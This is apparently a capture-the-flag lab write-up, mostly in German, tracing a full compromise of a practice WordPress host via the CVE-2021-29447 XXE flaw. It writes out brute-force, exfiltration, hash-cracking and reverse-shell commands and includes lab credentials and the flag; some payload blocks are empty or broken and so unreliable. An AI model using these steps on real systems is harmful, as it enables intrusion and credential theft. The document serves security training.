
The objective is to conduct a full-scale security assessment of a WordPress-based web application, culminating in a complete server compromise. The assessment will focus on exploiting a specific, real-world vulnerability (CVE-2021-29447) to achieve initial access.
Projektziel: Demonstration einer vollständigen Angriffskette auf eine verwundbare WordPress-Installation unter Ausnutzung von CVE-2021-29447 (XXE in der Medienbibliothek) zur Erlangung von Remote-Codeausführung und vollständiger Systemkompromittierung.
Phase 1: Aufklärung & Enumeration Netzwerkscan mit Nmap:
bash Quick SYN scan to discover open ports nmap -sS -T4 10.201.3.95
Detailed version and script scanning nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan Ergebnisse:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 WordPress-Enumeration mit WPScan:
bash User enumeration wpscan --url http://10.201.3.95/ --enumerate u
Password brute-force attack wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt Erhaltene Anmeldedaten:
Benutzername: test-corp | Passwort: test
Benutzername: corp-001 | Passwort: teddybear (später geknackt)
Phase 2: Erster Zugriff – XXE-Ausnutzung (CVE-2021-29447) Erstellung einer schädlichen WAV-Datei:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav Externer DTD-Payload (yup.dtd):
xml
">HTTP-Server zur Datenexfiltration:
bash python3 -m http.server 8000 PHP-Skript zur Decodierung der Daten:
php
Extrahierte Datenbank-Anmeldedaten:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); Phase 3: Datenbankzugriff & Ernte von Anmeldedaten MySQL-Verbindung:
bash mysql -h 10.201.3.95 -u thedarktangent -p Ausgeführte SQL-Abfragen:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; Erhaltene Benutzer-Hashes:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ Passwort-Cracking mit John the Ripper:
bash Create hash file cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
Crack hashes john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt Geknackte Passwörter:
corp-001:teddybear
test-corp:test
Phase 4: Privilegienerweiterung & RCE Reverse-Shell-Payload (Modifiziertes Hello-Dolly-Plugin):
php
Netcat-Listener:
bash nc -nvlp 4444 Shell-Zugriff erhalten:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Phase 5: Post-Exploitation (Ausstehend) Befehle für die nächste Sitzung:
bash Flag hunting find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
Privilege escalation enumeration sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release Sicherheitserkenntnisse & Empfehlungen Kritische identifizierte Schwachstellen:
CVE-2021-29447 – Verarbeitung externer XML-Entitäten in der WordPress-Medienbibliothek
Schwache Passwortrichtlinie – leicht erratbare Passwörter (test, teddybear)
Offengelegter Datenbankdienst – MySQL remote erreichbar
Veraltete Software – WordPress 5.6.2 mit bekannten Schwachstellen
Übermäßige Benutzerrechte – Nicht-Administratoren mit Plugin-Änderungsrechten
Empfehlungen zur Abhilfe:
Sofortige Aktualisierung auf die neueste WordPress-Version
Implementierung einer starken Passwortrichtlinie und 2FA
Einschränkung des Datenbankzugriffs nur auf localhost
Regelmäßige Sicherheitsupdates und Schwachstellen-Scans
Prinzip der geringsten Privilegien für Benutzerkonten
Projektstatus: 90% abgeschlossen – Reverse-Shell erhalten, finale Flag-Erfassung und Privilegienerweiterung stehen in Erwartung einer neuen IP-Zuweisung noch aus.
TEIL 2 – FLAG Letzte Phase: Post-Exploitation & Flag-Erfassung Ziel: Vollständige Systemkompromittierung und Erfassung der finalen Flagge.
Durchgeführte Aktionen:
Reverse-Shell-Aktivierung:
Bearbeitete die hello.php-Plugin-Datei im WordPress-Admin-Panel (/wp-admin/plugin-editor.php)
Fügte einen PHP-Reverse-Shell-Payload ein, der so konfiguriert war, dass er sich mit unserer Kali-Maschine (10.201.6.187:4444) verbindet
Payload ausgeführt durch Aufruf von: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
Erfolgreicher Shell-Zugriff:
Reverse-Shell-Verbindung als Benutzer www-data erhalten
Shell-Ausgabe:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Erkundung des Dateisystems:
Benutzerverzeichnis entdeckt: /home/stux/
Flag-Verzeichnis gefunden: /home/stux/flag/
Flag-Datei lokalisiert: /home/stux/flag/flag.txt
Flag-Extraktion:
Ausgeführter Befehl: cat /home/stux/flag/flag.txt
Erfasste Flagge: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Vollständige Zusammenfassung der Angriffskette Phase Verwendete Technik Ergebnis
CVE-2021-29447 – Verarbeitung externer XML-Entitäten in der WordPress-Medienbibliothek
Schwache Passwortrichtlinie – leicht erratbare Passwörter (test, teddybear)
Übermäßige Benutzerrechte – Nicht-Administratoren können Plugins ändern
Veraltete Software – WordPress 5.6.2 mit bekannten Schwachstellen
Informationspreisgabe – Datenbank-Anmeldedaten in wp-config.php
Sicherheitsempfehlungen:
✅ Sofortige Aktualisierung auf die neueste WordPress-Version
✅ Implementierung einer starken Passwortrichtlinie mit 2FA
✅ Regelmäßige Sicherheitsupdates und Schwachstellen-Scans
✅ Prinzip der geringsten Privilegien für Benutzerkonten
✅ Einschränkung der Dateiupload-Funktionalität und XML-Verarbeitung
Fazit Projekt Chimera demonstrierte erfolgreich eine vollständige Angriffskette von der ersten Aufklärung bis zur vollständigen Systemkompromittierung. Die Übung verdeutlichte, wie eine scheinbar geringfügige XML-Parsing-Schwachstelle (CVE-2021-29447) mit schlechten Sicherheitspraktiken kombiniert werden kann, um eine vollständige Systemübernahme zu erreichen.
Das Projekt betonte die Bedeutung von:
Regelmäßigen Software-Updates und Patch-Management
Starken Authentifizierungsmechanismen
Angemessener Zugriffskontrolle und Privilegienverwaltung
Umfassender Sicherheitsüberwachung
Endgültiger Status: ✅ 100% abgeschlossen – Alle Ziele erreicht, Flagge erfasst: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Projekt Chimera dient als eindringliche Erinnerung daran, dass Sicherheit eine Verteidigung in der Tiefe erfordert, da eine einzelne Schwachstelle in Kombination mit anderen Sicherheitslücken zu einer vollständigen Systemkompromittierung führen kann.